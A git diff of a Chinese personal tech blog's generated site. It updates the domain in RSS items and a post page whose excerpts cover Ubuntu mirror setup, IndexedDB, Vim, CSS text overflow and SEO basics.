+var data = document.getElementsByClassName(&#39;imgs&#39;); function datamain(){ var datawidtha = window.innerWidth; var datawidthb = Math.floor(data[0].offsetWidth); var dataab = Math.floor(datawidtha/datawidthb); var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1)) var arr = []; for(var i=0;i&amp;lt;data.length;i++){ if(i&amp;lt;dataab){ data[i].style.top = 0; data[i].style.left = (datawidthb+ints) * i + &amp;quot;px&amp;quot;; arr.push(data[i].offsetHeight); }else{ var datamin = arr[0]; var index = 0; for(var a = 0; a&amp;lt;arr.</description>
     </item>
     
     <item>
       <title>linux系统的日常使用</title>
-      <link>https://xiaochenabc123.github.io/posts/8/</link>
+      <link>https://chenjunlinabc.github.io/posts/8/</link>
       <pubDate>Wed, 16 Jun 2021 09:12:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/8/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/8/</guid>
       <description>linux发行版有很多，这里使用的是Ubuntu
 个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）
 有关于树莓派的看这个
 修改为国内源
 nano /etc/apt/sources.list
 替换内容为
-# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
# 预发布软件源，不建议启用
# deb https://mirrors.</description>
+# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # 预发布软件源，不建议启用 # deb https://mirrors.</description>
     </item>
     
     <item>
       <title>简单解决文本溢出问题</title>
-      <link>https://xiaochenabc123.github.io/posts/6/</link>
+      <link>https://chenjunlinabc.github.io/posts/6/</link>
       <pubDate>Wed, 16 Jun 2021 08:40:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/6/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/6/</guid>
       <description>当文本宽度超过容器的宽度那么将导致溢出
 使用text-overflow属性会修剪文本导致文本显示不全
 这里使用的方法是word-break: break-all+white-space: pre-wrap
@@ -3866,32 +3867,32 @@ pre-line：保留空格（可能不完整），保留换行
     
     <item>
       <title>IndexedDB浏览器数据库学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/5/</link>
+      <link>https://chenjunlinabc.github.io/posts/5/</link>
       <pubDate>Tue, 15 Jun 2021 19:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/5/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/5/</guid>
       <description>IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制
 打开（新建）indexedDB：
 indexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：
-var datadb = window.indexedDB.open(&amp;quot;data&amp;quot;,1);
datadb.onerror = function(){
console.log(&amp;quot;数据库打开失败&amp;quot;)
}
datadb.onsuccess = function(){
console.log(&amp;quot;数据库打开成功&amp;quot;);
}
datadb.onupgradeneeded = function(event){ console.log(&amp;quot;数据库版本升级&amp;quot;);
}
onerror事件表示打开数据库失败
+var datadb = window.indexedDB.open(&amp;quot;data&amp;quot;,1); datadb.onerror = function(){ console.log(&amp;quot;数据库打开失败&amp;quot;) } datadb.onsuccess = function(){ console.log(&amp;quot;数据库打开成功&amp;quot;); } datadb.onupgradeneeded = function(event){ console.log(&amp;quot;数据库版本升级&amp;quot;); } onerror事件表示打开数据库失败
 onsuccess事件表示打开数据库成功
 onupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）
 新建数据对象（数据表）
-datadb.onupgradeneeded = function(event) {
console.log(&amp;quot;数据库升级&amp;quot;);
var objdb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{keyPath: &amp;quot;id&amp;quot;});
}
表名为abc，主键为id，主键默认为索引
+datadb.onupgradeneeded = function(event) { console.log(&amp;quot;数据库升级&amp;quot;); var objdb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{keyPath: &amp;quot;id&amp;quot;}); } 表名为abc，主键为id，主键默认为索引
 判断是否存在该表
-if(!event.target.result.objectStoreNames.contains(&#39;abc&#39;)){
var objdb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{keyPath: &amp;quot;id&amp;quot;});
}
递增属性(可以用于作为主键)
-var maindb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{autoIncrement: true});
唯一属性
-objdb.createIndex(&amp;quot;id&amp;quot;,&amp;quot;id&amp;quot;,{unique: false})
createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
+if(!event.target.result.objectStoreNames.contains(&#39;abc&#39;)){ var objdb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{keyPath: &amp;quot;id&amp;quot;}); } 递增属性(可以用于作为主键)
+var maindb = event.target.result.createObjectStore(&amp;quot;abc&amp;quot;,{autoIncrement: true}); 唯一属性
+objdb.createIndex(&amp;quot;id&amp;quot;,&amp;quot;id&amp;quot;,{unique: false}) createIndex()，三个参数分别是索引名称，索引的属性，配置对象，用来新建索引
 添加数据
-var datadb = window.indexedDB.open(&amp;quot;data&amp;quot;,1);
var db;
var objdb;
datadb.onupgradeneeded = function(event) {
console.log(&amp;quot;数据库升级&amp;quot;);
db = event.</description>
+var datadb = window.indexedDB.open(&amp;quot;data&amp;quot;,1); var db; var objdb; datadb.onupgradeneeded = function(event) { console.log(&amp;quot;数据库升级&amp;quot;); db = event.</description>
     </item>
     
     <item>
       <title>简单使用Vim编辑器</title>
-      <link>https://xiaochenabc123.github.io/posts/3/</link>
+      <link>https://chenjunlinabc.github.io/posts/3/</link>
       <pubDate>Sun, 28 Mar 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/3/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/3/</guid>
       <description>Vim是从vi发展出来的一个文本编辑器。提供代码补完、编译及错误跳转等功能
 vim的五种模式（正常模式，插入模式，命令行模式，可视化模式，替换模式）
 启动vim默认就是在正常模式中，在该模式中按i进入插入模式，按:进入命令行模式，在插入模式或者命令行模式中按Esc进入普通模式
@@ -3926,10 +3927,10 @@ vim hallo.js
     
     <item>
       <title>简单了解SEO</title>
-      <link>https://xiaochenabc123.github.io/posts/2/</link>
+      <link>https://chenjunlinabc.github.io/posts/2/</link>
       <pubDate>Sat, 20 Mar 2021 11:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/2/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/2/</guid>
       <description>SEO：搜索引擎优化（Search Engine Optimization），是利用搜索引擎的规则来提升网站在该搜索引擎的排名（免费，高回报）
 robots.txt就是robots协议，用来告诉网络蜘蛛，这个网站什么内容是不应该获取的，那些内容可以获取，例如：淘宝就屏蔽了百度的爬虫
 robots.txt文件应该放在网站根目录下
@@ -3960,100 +3961,100 @@ HTML标签优化
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/axios%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
+      <link>https://chenjunlinabc.github.io/posts/axios%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/axios%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/axios%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E5%BA%93%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/django%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
+      <link>https://chenjunlinabc.github.io/posts/django%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/django%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/django%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/es6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
+      <link>https://chenjunlinabc.github.io/posts/es6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/es6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/es6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
+      <link>https://chenjunlinabc.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/</link>
+      <link>https://chenjunlinabc.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
+      <link>https://chenjunlinabc.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
+      <link>https://chenjunlinabc.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/mysql%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
+      <link>https://chenjunlinabc.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/nestjs%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
+      <link>https://chenjunlinabc.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/node.js%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
+      <link>https://chenjunlinabc.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/react-hooks%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
       <description></description>
     </item>
     
     <item>
       <title></title>
-      <link>https://xiaochenabc123.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/</link>
+      <link>https://chenjunlinabc.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/</link>
       <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/%E7%AE%80%E5%8D%95%E4%BD%BF%E7%94%A8mock.js%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E7%94%9F%E6%88%90%E5%99%A8/</guid>
       <description></description>
     </item>
     
diff --git "a/posts/javascript\345\237\272\347\241\200\345\255\246\344\271\240\347\254\224\350\256\260/index.html" "b/posts/javascript\345\237\272\347\241\200\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
index 421e82b3..1020cfd9 100644
--- "a/posts/javascript\345\237\272\347\241\200\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
+++ "b/posts/javascript\345\237\272\347\241\200\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
@@ -1,6 +1,6 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content><meta name=description content=" - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"","item":"https://xiaochenabc123.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"","name":"","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title></h1><div class=post-meta>0 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/JavaScript%e5%9f%ba%e7%a1%80%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/es6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>« Prev</span><br><span></span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/><span class=title>Next »</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content><meta name=description content=" - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"","item":"https://chenjunlinabc.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"","name":"","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" 